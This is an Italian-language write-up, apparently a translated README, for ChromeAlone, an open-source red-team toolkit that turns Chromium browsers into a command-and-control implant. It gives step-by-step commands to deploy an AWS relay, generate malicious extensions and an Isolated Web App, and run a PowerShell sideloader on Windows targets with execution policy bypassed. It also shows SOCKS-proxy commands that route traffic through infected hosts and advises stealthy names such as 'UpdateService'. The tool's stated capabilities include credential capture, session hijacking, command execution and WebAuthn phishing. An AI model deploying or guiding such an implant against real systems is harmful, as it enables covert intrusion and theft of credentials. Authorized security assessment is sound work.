
Uno strumento per trasformare i browser Chromium in un C2 Implant

ChromeAlone è un implant per browser che può essere utilizzato al posto degli implant convenzionali come Cobalt Strike o Meterpreter. Questo repository fornisce un semplice processo di build che genera una console di gestione, distribuisce l'infrastruttura e crea uno script sideloader PowerShell da eseguire sui target.
Dopo l'installazione, ogni implant ChromeAlone fornisce meccanismi per:
Per prima cosa crea il container docker: docker build -t chromealone .
Attualmente sono supportate due modalità di distribuzione. Nota che in entrambi i casi, dovresti eseguire docker dalla directory di base del repository git di ChromeAlone.
Per questo avrai bisogno di un account AWS configurato con le tue credenziali salvate in ~/.aws/credentials. Assicurati che il tuo account abbia i permessi di scrittura completi su EC2 oltre ai permessi Route53. Inoltre, si presume che il tuo Route53 sia stato configurato con almeno 1 zona di hosting contenente un dominio registrato. Se queste condizioni sono soddisfatte, puoi eseguire questo comando.
docker run --rm -v $(pwd):/project -v ~/.aws:/root/.aws chromealone --domain=sendmea.click --appname=UpdateService --region=us-west-2
Il valore domain deve corrispondere a un dominio sotto il controllo della tua configurazione Route53. appname può essere qualsiasi valore tu voglia e verrà utilizzato per nominare diverse chiavi di registro e cartelle su disco durante la distribuzione. Si consiglia di usare un nome abbastanza innocuo come UpdateService o qualcosa di altrettanto innocente. Nota che region è opzionale e, se non specificata, verrà impostata su us-east-2 di default.
Questo distribuirà il server relay BATTLEPLAN su AWS e genererà i seguenti artefatti:
output/client - La webapp di controllo per gestire le tue installazioni ChromeAlone.
output/sideloader.ps1 - Lo script di installazione da eseguire sui target per infettare la loro istanza locale del browser. NOTA: ci sarà anche un file iwa-sideloader.ps1 per caricare SOLO la Isolated Web App, e
extension-sideloader.ps1 per caricare SOLO l'estensione del browser.
output/extension - L'estensione del browser malevola generata.
output/iwa - Il file bundle webapp firmato della Isolated Web App malevola generata.
output/relay-deployment - Gli artefatti Terraform della tua distribuzione AWS, inclusa una chiave SSH per accedere direttamente all'host.
Se hai già distribuito un'istanza, output/relay-deployment/terraform.tfvars conterrà tutte le informazioni necessarie per generare nuovi script sideloader + estensioni malevole. Puoi puntare il file docker di ChromeAlone al file tfvars e questo salterà il passaggio di distribuzione mantenendo i metadati appropriati per gestire le connessioni.
Esegui lo script di build docker run --rm -v $(pwd):/project -v ~/.aws:/root/.aws chromealone --tfvars=/project/path/to/terraform.tfvars --appname=UpdateService e genererà un nuovo sideloader malevolo per la tua distribuzione.
Prendi sideloader.ps1 ed eseguilo sulla tua macchina target Windows 10 o Windows 11 eseguendo powershell.exe ExecutionPolicy Bypass -File .\path\to\sideloader.ps1. Nota che puoi eseguirlo con flag aggiuntive se desideri installare un host NativeMessaging (necessario per eseguire comandi di sistema) o forzare il riavvio di Chrome (necessario se vuoi che la tua estensione venga eseguita immediatamente dopo l'esecuzione di questo script invece di attendere la prossima volta che l'utente apre Chrome). Un esempio di invocazione con entrambe le flag è powershell.exe -ExecutionPolicy Bypass .\sideloader.ps1 -InstallNativeMessagingHost $true -ForceRestart $true. Puoi anche modificare i valori predefiniti all'inizio dello script da false a true se desideri che queste flag vengano usate automaticamente.
Un'esecuzione completa dello script richiederà circa 20-30 secondi.
Una volta caricato ChromeAlone, puoi visualizzare tutti gli host connessi aprendo output/client/index.html. Questa webapp sarà pre-configurata per riconnettersi alla tua istanza relay BATTLEPLAN distribuita. Nota che, per impostazione predefinita, il relay è protetto da firewall per consentire l'accesso di controllo in entrata solo sulle porte 1080-1181 dall'IP che ha distribuito il server. Se desideri modificare questo comportamento, dovrai aggiornare le impostazioni di rete dell'istanza EC2 per includere eventuali macchine aggiuntive.
La maggior parte dei comandi può essere eseguita dalla WebUI, inclusi:
Quick Commands, che richiede la selezione di un agente target nella sezione Execute Command)Captured Data)Execute Command)File Browser)Interactive Shell)L'eccezione principale a questo è il proxying SOCKS. A ogni host infetto viene assegnata una porta SOCKS univoca per il server che può essere vista nella sezione Agent Information, dove ogni agente ha un campo Port. La porta assegnata, se combinata con le credenziali admin salvate in output/client/config.js, può essere utilizzata per configurare un proxy SOCKS specifico per l'host.
Ad esempio, supponiamo di avere un agente con porta 1081, il nostro dominio è chrome.alone, il nostro username admin (è sempre così), e la nostra password è thisisnotarealpassword. Ecco alcuni esempi di utilizzo:
proxychains -q socks5 admin:[email protected]:1081 curl http://ifconfig.me
xfreerdp /cert:ignore /v:<target RDP host> /u:<target RDP username> /proxy:socks5://admin:[email protected]:1081
curl -x socks5h://chrome.alone:1081 -u "admin:thisisnotarealpassword" http://ifconfig.me
Il repository ChromeAlone è suddiviso in componenti, molti dei quali potrebbero essere utilizzati singolarmente come parte di un assessment, ma che insieme rappresentano l'intera toolchain di implant per il browser Chromium.
BATTLEPLAN - Questo è il componente server di gestione della toolchain. Contiene script terraform per la distribuzione in un ambiente AWS e un client HTML per interagire con il server dopo la distribuzione.BLOWTORCH - Questa è una Isolated Web Application malevola che utilizza i permessi Direct Socket per implementare un proxy SOCKS TCP e un server websocket per consentire le comunicazioni tra gli altri componenti di Chrome. Funge anche da ponte di messaggistica verso il server relay BATTLEPLAN.DOORKNOB - Questa è una serie di script utilizzati per generare sideloader PowerShell per Isolated Web App ed estensioni Chrome. Lo script in build.sh fornisce un esempio di come creare un singolo script di installazione PowerShell che combina entrambi questi sideloader individuali in uno solo.HOTWHEELS - Questa è un'estensione Chrome malevola che implementa tutte le sue capacità in Web Assembly. Fornisce la stragrande maggioranza delle funzionalità di ChromeAlone per la cattura delle credenziali, il dirottamento delle sessioni, l'esecuzione di comandi di sistema e la lettura del file system.PAINTBUCKET - Una serie di content script che abilitano il phishing per le richieste WebAuthn nascondendo richieste WebAuthn aggiuntive all'interno di iFrame in schede inattive ogni volta che viene effettuata una normale richiesta WebAuthn.Questo strumento è stato scritto da Mike Weber di Praetorian Security.
Questo lavoro si basa sulle spalle di molti altri strumenti di ricerca e post di blog che hanno contribuito a questo settore. Senza il loro lavoro, questo progetto non esisterebbe. Se vuoi approfondire gli aspetti interni di cui questo progetto fa uso, ti suggerisco di leggere le seguenti risorse:
ChromeAlone è concesso in licenza secondo l'Apache License, Versione 2.0.
Copyright 2025 Praetorian Security, Inc
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.